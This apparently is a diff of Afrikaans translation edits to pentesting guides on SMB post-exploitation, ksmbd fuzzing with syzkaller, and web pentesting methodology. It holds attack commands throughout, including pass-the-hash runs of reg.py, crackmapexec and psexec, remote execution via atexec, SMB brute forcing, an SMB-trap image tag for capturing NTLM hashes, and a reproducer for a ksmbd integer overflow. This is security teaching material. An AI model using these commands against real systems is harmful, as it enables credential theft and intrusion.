-Spesiaal interessant in shares is die lêers met die naam **`Registry.xml`**, aangesien hulle **miskien wagwoorde bevat** vir gebruikers wat met **autologon** via Group Policy gekonfigureer is. Of **`web.config`**-lêers, aangesien hulle inlogbesonderhede bevat.
+Wat veral interessant is op shares, is lêers soos **`Registry.xml`**, aangesien hulle **wagwoorde kan bevat** vir gebruikers wat via Group Policy met **autologon** gekonfigureer is. Of **`web.config`**-lêers, aangesien hulle credentials bevat.
 
 > [!TIP]
-> Die **SYSVOL share** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy baie verskillende batch-, VBScript- en PowerShell **scripts** vind.\
+> Die **SYSVOL share** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy baie verskillende batch-, VBScript- en PowerShell **skripte** vind.\
-> Jy behoort die **scripts** daarin na te gaan, aangesien jy sensitiewe inligting soos **wagwoorde** kan vind.
+> Jy moet die **skripte** daarin nagaan aangesien jy sensitiewe inligting soos **wagwoorde** kan vind.
 
-## Lees Registry
+## Lees die register
 
-Jy kan dalk die **Registry** lees met sommige ontdekte inlogbesonderhede. Impacket **`reg.py`** laat jou toe om dit te probeer:
+Jy mag in staat wees om die **register te lees** met sommige ontdekte credentials. Impacket **`reg.py`** laat jou toe om dit te probeer:
 ```bash
 sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
 sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
 sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
 ```
-## Post Exploitation
+## Post-eksploitasie
 
-Die **verstekkonfigurasie van** 'n **Samba** server is gewoonlik geleë in `/etc/samba/smb.conf` en kan sommige **gevaarlike konfigurasies** hê:
+Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `/etc/samba/smb.conf` en kan sommige **gevaarlike konfigurasies** hê:
 
 | **Instelling**              | **Beskrywing**                                                     |
 | --------------------------- | ------------------------------------------------------------------- |
 | `browseable = yes`          | Laat toe om beskikbare shares in die huidige share te lys?         |
 | `read only = no`            | Verbied die skep en wysiging van lêers?                             |
 | `writable = yes`            | Laat gebruikers toe om lêers te skep en te wysig?                   |
-| `guest ok = yes`            | Laat verbind tot die diens toe sonder om 'n wagwoord te gebruik?    |
+| `guest ok = yes`            | Laat toe om by die diens aan te sluit sonder 'n wagwoord?           |
-| `enable privileges = yes`   | Hou priviliges wat aan 'n spesifieke SID toegewys is in ag?         |
+| `enable privileges = yes`   | Erken voorregte wat aan 'n spesifieke SID toegeken is?             |
-| `create mask = 0777`        | Watter toestemmings moet aan die nuut geskepte lêers toegeken word? |
+| `create mask = 0777`        | Watter toestemmings moet aan nuut geskepte lêers toegeken word?     |
-| `directory mask = 0777`     | Watter toestemmings moet aan die nuut geskepte directories toegeken word? |
+| `directory mask = 0777`     | Watter toestemmings moet aan nuut geskepte gidse toegeken word?     |
-| `logon script = script.sh`  | Watter script moet uitgevoer word by die gebruiker se aanmelding?   |
+| `logon script = script.sh`  | Watter script moet uitgevoer word tydens die gebruiker se aanmelding? |
 | `magic script = script.sh`  | Watter script moet uitgevoer word wanneer die script gesluit word?  |
-| `magic output = script.out` | Waar moet die uitvoer van die magic script gestoor word?           |
+| `magic output = script.out` | Waar die uitset van die magic script gestoor moet word?            |
 
-Die opdrag `smbstatus` gee inligting oor die **server** en oor **wie gekoppel is**.
+Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind is**.
 
-## Verifieer met Kerberos
+## Outentiseer met Kerberos
 
-Jy kan by **kerberos** **verifieer** deur die gereedskap **smbclient** en **rpcclient** te gebruik:
+Jy kan **outentiseer** by **Kerberos** met die gereedskap **smbclient** en **rpcclient**:
 ```bash
 smbclient --kerberos //ws01win10.domain.com/C$
 rpcclient -k ws01win10.domain.com
 ```
-## **Voer Opdragte Uit**
+## **Voer opdragte uit**
 
 ### **crackmapexec**
 
-crackmapexec kan opdragte uitvoer deur enige van **mmcexec, smbexec, atexec, wmiexec** te misbruik, waar **wmiexec** die **standaard** metode is. Jy kan aandui watter opsie jy verkies met die parameter `--exec-method`:
+crackmapexec kan opdragte uitvoer deur enige van **mmcexec, smbexec, atexec, wmiexec** te **misbruik**, waarbij **wmiexec** die **verstek-metode** is. Jy kan aandui watter opsie jy verkies om te gebruik met die parameter `--exec-method`:
 ```bash
 apt-get install crackmapexec
 
@@ -380,8 +379,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
 ```
 ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
 
-Albei opsies sal **'n nuwe diens skep** (deur _\pipe\svcctl_ via SMB te gebruik) op die slagoffer se masjien en dit gebruik om **iets uit te voer** (**psexec** sal **upload** 'n executable file na ADMIN$ share en **smbexec** sal na **cmd.exe/powershell.exe** wys en die payload in die argumente plaas --**file-less technique-**-).\
+Albei opsies sal **'n nuwe diens skep** (deur _\pipe\svcctl_ via SMB te gebruik) op die slagoffer se masjien en dit gebruik om **iets uit te voer** (**psexec** sal **upload** 'n uitvoerbare lêer na ADMIN$ share en **smbexec** sal na **cmd.exe/powershell.exe** wys en die payload in die argumente plaas --**file-less technique-**-).\
-**Meer info** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
+**Meer inligting** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
 In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
@@ -390,11 +389,11 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
 psexec \\192.168.122.66 -u Administrator -p 123456Ww
 psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
 ```
-Deur die **parameter**`-k` te gebruik kan jy teen **kerberos** authentikeer in plaas van **NTLM**
+Deur die **parameter** `-k` te gebruik, kan jy teen **kerberos** autentikeer in plaas van **NTLM**
 
 ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
 
-Voer heimlik 'n command shell uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\
+Heimlik voer 'n command shell uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\
 In **kali** is dit geleë by /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
@@ -411,7 +410,7 @@ Deur die **parameter**`-k` te gebruik, kan jy teen **kerberos** autentiseer in p
 ```
 ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
 
-Voer opdragte uit via die Task Scheduler (met gebruik van _\pipe\atsvc_ via SMB).\
+Voer kommando's uit via die Taakskeduleerder (wat _\pipe\atsvc_ via SMB gebruik).\
 In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
 ```bash
 ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@@ -421,27 +420,27 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
 
 [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
 
-### ksmbd aanvalsoppervlak en SMB2/SMB3 protocol fuzzing (syzkaller)
+### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
 
 {{#ref}}
 ksmbd-attack-surface-and-fuzzing-syzkaller.md
 {{#endref}}
 
-## **Bruteforce gebruikers credentials**
+## **Bruteforce gebruikersbewyse**
 
-**Hierdie word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
+**Dit word nie aanbeveel nie — jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
 ```bash
 nmap --script smb-brute -p 445 <IP>
 ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
 ```
 ## SMB relay attack
 
-Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies te vang** op 'n interne netwerk, en **herlei** hulle na 'n **doelmasjien**. As die authentikasiesessie **suksesvol** is, sal dit jou outomaties in 'n **stelsel** **shell** laat beland.\
+Hierdie aanval gebruik die Responder toolkit om **SMB-authentiseringsessies vas te vang** op 'n interne netwerk, en **herlei** dit na 'n **teikenmasjien**. As die authentisering **sessie suksesvol** is, sal dit jou outomaties in 'n **stelsel** **shell** plaas.\
-[**Meer inligting oor hierdie aanval hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 
 ## SMB-Trap
 
-Die Windows-biblioteek URLMon.dll probeer outomaties om by die gasheer te autentiseer wanneer 'n bladsy probeer om inhoud via SMB te bereik, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
+Die Windows-biblioteek URLMon.dll probeer outomaties by die gasheer autentiseer wanneer 'n bladsy probeer om inhoud via SMB te bereik, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
 
 Dit gebeur met die funksies:
 
@@ -450,7 +449,7 @@ Dit gebeur met die funksies:
 - URLOpenStream
 - URLOpenBlockingStream
 
-Wat deur sommige blaaiers en tools (soos Skype) gebruik word
+Wat deur sommige blaaiers en gereedskap gebruik word (soos Skype)
 
 ![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
 
@@ -460,9 +459,9 @@ Wat deur sommige blaaiers en tools (soos Skype) gebruik word
 
 ## NTLM Theft
 
-Soortgelyk aan SMB Trapping, kan die plaas van kwaadwillige lêers op 'n doelstelsel (bv. via SMB) 'n SMB-authentikasiepoging uitlok, wat toelaat dat die NetNTLMv2-hash met 'n instrument soos Responder onderskep word. Die hash kan dan aflyn gekraak word of gebruik word in 'n [SMB relay attack](#smb-relay-attack).
+Vergelykbaar met SMB Trapping, kan die plant van kwaadwillige lêers op 'n teikenstelsel (byvoorbeeld via SMB) 'n SMB-authentiseringspoging uitlok, wat toelaat dat die NetNTLMv2-hash met 'n hulpmiddel soos Responder onderskep word. Die hash kan dan offline gekraak word of gebruik word in 'n [SMB relay attack](#smb-relay-attack).
 
-[Sien: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
+[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
 
 ## HackTricks Outomatiese Opdragte
 ```

src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md

@@ -3,24 +3,24 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Oorsig
-Hierdie bladsy abstraheer praktiese tegnieke om die Linux in-kernel SMB-bediener (ksmbd) met syzkaller te oefen en te fuzz. Dit fokus op die uitbreiding van die protokol-aanvalsoppervlak deur konfigurasie, die bou van ’n staatvolle harness wat SMB2-operasies aaneen kan skakel, die genereer van grammar-valid PDUs, die bevooroordeling van mutasies na swak-gedekte kodepaaie, en die benutting van syzkaller-funksies soos focus_areas en ANYBLOB. Terwyl die oorspronklike navorsing spesifieke CVEs opsom, beklemtoon ons hier die herbruikbare metodologie en konkrete snippers wat jy aan jou eie opstellings kan aanpas.
+Hierdie bladsy som praktiese tegnieke op om die Linux in-kernel SMB-bediener (ksmbd) met syzkaller te oefen en te fuzz. Dit fokus op die uitbreiding van die protokol se aanvalsoppervlak deur konfigurasie, die bou van 'n stateful harness wat SMB2-operasies kan keten, die genereer van grammatika-geldige PDUs, die bevooroordeeling van mutasies na swak-gedekde kodepaaie, en die benutting van syzkaller-funksies soos focus_areas en ANYBLOB. Alhoewel die oorspronklike navorsing spesifieke CVE's opsom, beklemtoon ons hier die herbruikbare metodologie en konkrete snippette wat jy vir jou eie opstellings kan aanpas.
 
-Teikengrens: SMB2/SMB3 oor TCP. Kerberos en RDMA is doelbewus buite omvang om die harness eenvoudig te hou.
+Teikenomvang: SMB2/SMB3 oor TCP. Kerberos en RDMA is doelbewus buite bestek om die harness eenvoudig te hou.
 
 ---
 
-## Brei ksmbd-aanvalsoppervlak uit via Konfigurasie
+## Brei ksmbd-aanvalsoppervlak uit via konfigurasie
-By verstek laat ’n minimale ksmbd-opstelling groot gedeeltes van die bediener ongetoets. Skakel die volgende funksies in om die bediener deur addisionele parsers/handlers te bestuur en dieper kodepaaie te bereik:
+By verstek laat 'n minimale ksmbd-opstelling groot dele van die bediener ongetoets. Skakel die volgende funksies in om die bediener deur bykomende parsers/handlers te dwing en dieper kodepaaie te bereik:
 
-- Globale vlak
+- Global-level
 - Durable handles
 - Server multi-channel
 - SMB2 leases
-- Per-share-vlak
+- Per-share-level
-- Oplocks (aan standaard)
+- Oplocks (on by default)
 - VFS objects
 
-Die aktivering van hierdie elemente verhoog die uitvoering in modules soos:
+Deur hierdie opsies te aktiveer verhoog die uitvoering in modules soos:
 - smb2pdu.c (command parsing/dispatch)
 - ndr.c (NDR encode/decode)
 - oplock.c (oplock request/break)
@@ -28,28 +28,28 @@ Die aktivering van hierdie elemente verhoog die uitvoering in modules soos:
 - vfs.c (VFS ops)
 - vfs_cache.c (lookup cache)
 
-Notas
+Aantekeninge
 - Presiese opsies hang af van jou distro se ksmbd userspace (ksmbd-tools). Hersien /etc/ksmbd/ksmbd.conf en per-share-afdelings om durable handles, leases, oplocks en VFS objects te aktiveer.
-- Multi-channel en durable handles verander state machines en lewensduur, en laat dikwels UAF/refcount/OOB-bugs onder gelyktydigheid blyk.
+- Multi-channel en durable handles verander state machines en lewensduurtens, wat gereeld UAF/refcount/OOB-bugs onder concurrency na vore bring.
 
 ---
 
-## Authentication en koersbeperkings-aanpassings vir Fuzzing
+## Verifikasie en Rate-Limiting-aanpassings vir Fuzzing
-SMB3 benodig ’n geldige sessie. Implementering van Kerberos in harnesses verhoog kompleksiteit, dus beveel ons NTLM/guest vir fuzzing aan:
+SMB3 benodig 'n geldige sessie. Die implementering van Kerberos in harnesses voeg kompleksiteit by, daarom is NTLM/guest vir fuzzing te verkies:
 
-- Laat guest-toegang toe en stel map to guest = bad user sodat onbekende gebruikers op GUEST terugval.
+- Laat guest toegang toe en stel map to guest = bad user sodat onbekende gebruikers na GUEST terugval.
-- Aanvaar NTLMv2 (patch die beleid as dit gedeaktiveer is). Dit hou die handshake eenvoudig terwyl SMB3-kodepaaie geaktiveer word.
+- Aanvaar NTLMv2 (patch policy as dit gedeaktiveer is). Dit hou die handshake eenvoudig terwyl dit SMB3-kodepaaie oefen.
-- Verwyder streng credit checks tydens eksperimente (post-hardening vir CVE-2024-50285 het simultaneous-op crediting strenger gemaak). Andersins kan koersbeperkings gefuzzte sekwense te vroeg verwerp.
+- Verwyder streng credit checks tydens eksperimente (post-hardening vir CVE-2024-50285 het simultaneous-op crediting verskerp). Andersins kan rate-limits gefuzzte reekse te vroeg verwerp.
-- Verhoog max connections (bv. na 65536) om vroeë verwerping tydens hoë-deurset fuzzing te vermy.
+- Verhoog max connections (bv. na 65536) om vroeë verwerping tydens hoë-deursit-fuzzing te voorkom.
 
-Waarskuwing: Hierdie verslappinge is slegs bedoel om fuzzing te vergemaklik. Moet dit nie in produksie gebruik nie.
+Waarskuwing: Hierdie verslappinge is slegs om fuzzing te vergemaklik. Moenie hierdie instellings in produksie gebruik nie.
 
 ---
 
-## Staatvolle Harness: Onttrek Hulpbronne en Skakel Versoeke
+## Stateful Harness: Extract Resources and Chain Requests
-SMB is staatvol: baie versoeke hang af van identifiseerders wat deur vorige antwoorde teruggegee word (SessionId, TreeID, FileID-paartjies). Jou harness moet antwoorde parse en ID's hergebruik binne dieselfde program om by dieper handlers uit te kom (bv. smb2_create → smb2_ioctl → smb2_close).
+SMB is stateful: baie versoeke hang af van identifiseerders wat deur vorige antwoorde teruggegee word (SessionId, TreeID, FileID pairs). Jou harness moet antwoorde parse en IDs binne dieselfde program hergebruik om by dieper handlers uit te kom (bv. smb2_create → smb2_ioctl → smb2_close).
 
-Voorbeeld-snipper om ’n response buffer te verwerk (skipping the +4B NetBIOS PDU length) en ID's te kash:
+Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
 ```c
 // process response. does not contain +4B PDU length
 void process_buffer(int msg_no, const char *buffer, size_t received) {
@@ -76,15 +76,15 @@ break;
 }
 ```
 Wenke
-- Hou een fuzzer-proses wat authentication/state deel: beter stabiliteit en dekking met ksmbd’s global/session tables. syzkaller injecteer steeds concurrency deur ops as async te merk, en intern te herhaal.
+- Hou een fuzzer-proses wat authentikasie/staat deel: beter stabiliteit en dekking met ksmbd’s globale/sessie-tabelle. syzkaller injekteer steeds concurrency deur ops as async te merk, intern weer uit te voer.
-- Syzkaller’s experimental reset_acc_state kan globale staat terugstel, maar kan 'n groot vertraging veroorsaak. Gee voorkeur aan stabiliteit en fokus eerder op fuzzing.
+- Syzkaller’s eksperimentele reset_acc_state kan globale staat terugstel maar kan 'n groot vertraging veroorsaak. Gee voorkeur aan stabiliteit en fokus eerder op fuzzing.
 
 ---
 
 ## Grammatika-gedrewe SMB2-generering (Geldige PDUs)
-Vertaal die Microsoft Open Specifications SMB2-strukture in 'n fuzzer-grammatika sodat jou generator struktureel geldige PDUs produseer, wat sistematies dispatchers en IOCTL handlers bereik.
+Vertaal die Microsoft Open Specifications SMB2-strukture na 'n fuzzer-grammatika sodat jou generator struktureel geldige PDUs produseer, wat sistematies dispatchers en IOCTL handlers bereik.
 
-Voorbeeld (SMB2 IOCTL request):
+Voorbeeld (SMB2 IOCTL-versoek):
 ```
 smb2_ioctl_req {
 Header_Prefix           SMB2Header_Prefix
@@ -107,12 +107,12 @@ Input                   array[int8]
 Output                  array[int8]
 } [packed]
 ```
-Hierdie styl dwing korrekte struktuurgroottes/-offsets af en verbeter dramaties die dekking in vergelyking met blind mutation.
+Hierdie styl dwing korrekte struktuurgroottes/-verskuiwings af en verbeter beduidend die dekking teenoor blinde mutasie.
 
 ---
 
-## Directed Fuzzing With focus_areas
+## Gerigte Fuzzing Met focus_areas
-Gebruik syzkaller’s eksperimentele focus_areas om spesifieke funksies/lêers wat tans swak dekking het, meer gewig te gee. Voorbeeld JSON:
+Gebruik syzkaller’s eksperimentele focus_areas om spesifieke funksies/lêers hoër gewig te gee wat tans swak dekking het. Voorbeeld JSON:
 ```json
 {
 "focus_areas": [
@@ -122,9 +122,9 @@ Gebruik syzkaller’s eksperimentele focus_areas om spesifieke funksies/lêers w
 ]
 }
 ```
-Dit help om geldige ACLs te konstrueer wat aritmetiese/overflow-paaie in smbacl.c tref. Byvoorbeeld, 'n kwaadwillige Security Descriptor met 'n oorgrootte dacloffset reproduseer 'n integer-overflow.
+Dit help om geldige ACLs te konstrueer wat arithmetic/overflow paths in smbacl.c tref. Byvoorbeeld, 'n kwaadwillige Security Descriptor met 'n te groot dacloffset reproduseer 'n integer-overflow.
 
-Reproducer builder (minimal Python):
+Reproducer-bouer (minimale Python):
 ```python
 def build_sd():
 import struct
@@ -143,8 +143,8 @@ return bytes(sd)
 ```
 ---
 
-## Deurbreek dekkingplateauë met ANYBLOB
+## Deurbreek dekkingsplateaus met ANYBLOB
-syzkaller se anyTypes (ANYBLOB/ANYRES) laat toe om komplekse strukture in blobs in te klap wat op 'n generiese wyse muteer. Skep 'n nuwe korpus uit openbare SMB pcaps en omskep payloads in syzkaller-programme wat jou pseudo-syscall aanroep (bv. syz_ksmbd_send_req):
+syzkaller’s anyTypes (ANYBLOB/ANYRES) laat komplekse strukture inklap tot blobs wat generies muteer. Skep 'n nuwe korpus uit openbare SMB pcaps en omskep payloads in syzkaller-programme wat jou pseudo-syscall aanroep (bv., syz_ksmbd_send_req):
 ```bash
 # Extract SMB payloads to JSON
 # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@@ -167,14 +167,14 @@ f.write(
 f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
 )
 ```
-Dit gee 'n vlieënde begin aan verkenning en kan onmiddellik UAFs aktiveer (bv. in ksmbd_sessions_deregister), terwyl dit die dekking met 'n paar persent verhoog.
+Dit spring die verkenning aan en kan onmiddellik UAFs (bv. in ksmbd_sessions_deregister) veroorsaak, terwyl dit die dekking met 'n paar persent verhoog.
 
 ---
 
 ## Sanitizers: Verder as KASAN
-- KASAN bly die primêre detektor vir heap-bugs (UAF/OOB).
+- KASAN bly die primêre opsporer vir heap bugs (UAF/OOB).
-- KCSAN lewer dikwels vals positiewe of data races met lae erns in hierdie teiken.
+- KCSAN lewer dikwels false positives of low-severity data races in hierdie teiken.
-- UBSAN/KUBSAN kan foute in verklaarde grense opspoor wat KASAN mis as gevolg van array-indeks-semantiek. Voorbeeld:
+- UBSAN/KUBSAN kan declared-bounds mistakes vang wat KASAN mis weens array-index semantics. Voorbeeld:
 ```c
 id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
 struct smb_sid {
@@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
 __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
 } __attribute__((packed));
 ```
-Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks.
+Die instel van num_subauth = 0 veroorsaak 'n in-struct OOB-lees van sub_auth[-1], wat deur UBSAN se declared-bounds-kontroles gevang word.
 
 ---
 
-## Deurset en Parallelisme Aantekeninge
+## Deurset en parallelisme aantekeninge
-- Een enkele fuzzer-proses (shared auth/state) is geneig om aansienlik meer stabiel te wees vir ksmbd en toon steeds races/UAFs weens syzkaller’s interne async executor.
+- 'n Enkele fuzzer-proses (gedeelde auth/state) neig om aansienlik meer stabiel te wees vir ksmbd en ontbloot steeds races/UAFs danksy syzkaller se interne async executor.
-- Met meerdere VMs kan jy steeds honderde SMB-opdragte per sekonde bereik. Funksievlak-dekking van ongeveer ~60% van fs/smb/server en ~70% van smb2pdu.c is haalbaar, alhoewel staatsoorgang-dekking deur sulke metrieke onderverteenwoordig word.
+- Met meerdere VMs kan jy steeds honderde SMB-opdragte per sekonde bereik. Funksievlakdekking van ~60% van fs/smb/server en ~70% van smb2pdu.c is haalbaar, alhoewel staat-oorgang-dekking deur sulke metrieke onderverteenwoordig word.
 
 ---
 
-## Praktiese Kontroleslys
+## Praktiese kontrolelys
 - Skakel durable handles, leases, multi-channel, oplocks en VFS objects in ksmbd aan.
-- Laat guest en map-to-guest toe; aanvaar NTLMv2. Patch uit credit limits en verhoog max connections vir fuzzer stabiliteit.
+- Laat guest en map-to-guest toe; aanvaar NTLMv2. Verwyder kredietlimiete en verhoog die maksimum verbindings vir fuzzer-stabiliteit.
-- Bou 'n stateful harness wat SessionId/TreeID/FileIDs cache en create → ioctl → close keten.
+- Bou 'n stateful harness wat SessionId/TreeID/FileIDs kas en create → ioctl → close ketting.
-- Gebruik 'n grammar vir SMB2 PDUs om strukturele geldigheid te behou.
+- Gebruik 'n grammatika vir SMB2 PDUs om strukturele geldigheid te behou.
-- Gebruik focus_areas om swak-gedekte funksies meer gewig te gee (bv. smbacl.c-paaie soos smb_check_perm_dacl).
+- Gebruik focus_areas om swak-gedekte funksies groter gewig te gee (bv. smbacl.c-paadjies soos smb_check_perm_dacl).
-- Seed met ANYBLOB uit werklike pcaps om plateaus te breek; pak seeds met syz-db vir hergebruik.
+- Gebruik ANYBLOB van werklike pcaps as saailinge om plateau's te breek; pak saailinge met syz-db vir hergebruik.
-- Draai met KASAN + UBSAN; triage UBSAN declared-bounds verslae versigtig.
+- Hardloop met KASAN + UBSAN; triage UBSAN declared-bounds-verslae sorgvuldig.
 
 ---
 
@@ -214,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
 - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
 - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
 - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
-- Agtergrondlees: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
+- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
 
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/README.md

@@ -1,10 +1,10 @@
-# 80,443 - Pentesting Web Metodologie
+# 80,443 - Pentesting Web Methodology
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Basiese Inligting
 
-Die webdiens is die mees **algemene en omvattende diens** en daar bestaan baie **verskillende tipes kwesbaarhede**.
+Die webdiens is die mees **algemene en omvangryke diens**, en daar bestaan baie **verskillende soorte kwesbaarhede**.
 
 **Standaardpoort:** 80 (HTTP), 443(HTTPS)
 ```bash
@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Web API Guidance
+### Web API Riglyne
 
 
 {{#ref}}
@@ -26,46 +26,46 @@ web-api-pentesting.md
 
 ## Metodologie opsomming
 
-> In hierdie metodologie gaan ons aanvaar dat jy 'n aanval op 'n domain (of subdomain) en net daardie een gaan uitvoer. Dus, jy moet hierdie metodologie toepas op elke ontdekte domain, subdomain of IP met onbepaalde web server binne die scope.
+> In hierdie metodologie gaan ons aanvaar dat jy 'n domein (of subdomein) en slegs daardie wil aanval. Dus moet jy hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met 'n ongedetermineerde web server binne die scope.
 
-- [ ] Begin deur die **identifiseer** die **tegnologieë** wat deur die web server gebruik word. Kyk vir **tricks** om gedurende die res van die toets in gedagte te hou as jy die tech suksesvol kan identifiseer.
+- [ ] Begin deur die **identifying** van die **technologies** wat deur die web server gebruik word. Soek na **tricks** om in gedagte te hou tydens die res van die toets as jy die tegnologie suksesvol kan identifiseer.
 - [ ] Enige **known vulnerability** van die weergawe van die tegnologie?
-- [ ] Gebruik enige **well known tech**? Enige **useful trick** om meer inligting te onttrek?
+- [ ] Gebruik dit enige **well known tech**? Enige **useful trick** om meer inligting te onttrek?
-- [ ] Enige **specialised scanner** om te loods (soos wpscan)?
+- [ ] Enige **specialised scanner** om te hardloop (soos wpscan)?
-- [ ] Begin met **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of interessante inligting gaan ontsluit nie.
+- [ ] Begin **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of of hulle interessante inligting gaan oplewer nie.
 - [ ] Begin met die **initial checks**: **robots**, **sitemap**, **404** error en **SSL/TLS scan** (if HTTPS).
-- [ ] Begin **spidering** die web page: Dit is tyd om alle moontlike **files, folders** en **parameters being used** te **vind.** Kyk ook vir **special findings**.
+- [ ] Begin **spidering** die webblad: Dit is tyd om alle moontlike **files, folders** en **parameters being used** te **vind**. Kontroleer ook vir **special findings**.
-- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
+- [ ] _Let daarop dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit gespider moet word._
-- [ ] **Directory Brute-Forcing**: Probeer om alle ontdekte folders te Brute-Force en soek na nuwe **files** en **directories**.
+- [ ] **Directory Brute-Forcing**: Probeer om al die ontdekte vouers te brute force om nuwe **files** en **directories** te soek.
-- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
+- [ ] _Let daarop dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit Brute-Forced moet word._
-- [ ] **Backups checking**: Toets of jy **backups** van **ontdekte files** kan vind deur algemene backup extensies by te voeg.
+- [ ] **Backups checking**: Toets of jy **backups** van **ontdekte files** kan vind deur algemene backup-extensies by te voeg.
 - [ ] **Brute-Force parameters**: Probeer om **hidden parameters** te **vind**.
-- [ ] Sodra jy alle moontlike **endpoints** wat **user input** aanvaar geïdentifiseer het, kyk na alle soorte **vulnerabilities** wat daarmee verband hou.
+- [ ] Sodra jy al die moontlike **endpoints** wat **user input** aanvaar geïdentifiseer het, gaan na en toets vir alle soorte **vulnerabilities** wat daarmee verband hou.
 - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Server-weergawe (Kwetsbaar?)
+## Server Version (Vulnerable?)
 
 ### Identifiseer
 
-Kyk of daar **known vulnerabilities** is vir die server **version** wat loop.\
+Kontroleer of daar **known vulnerabilities** is vir die server **version** wat loop.\
-Die **HTTP headers and cookies of the response** kan baie nuttig wees om die **technologies** en/of **version** wat gebruik word te **identifiseer**. **Nmap scan** kan die server version identifiseer, maar dit kan ook nuttig wees om die tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:**
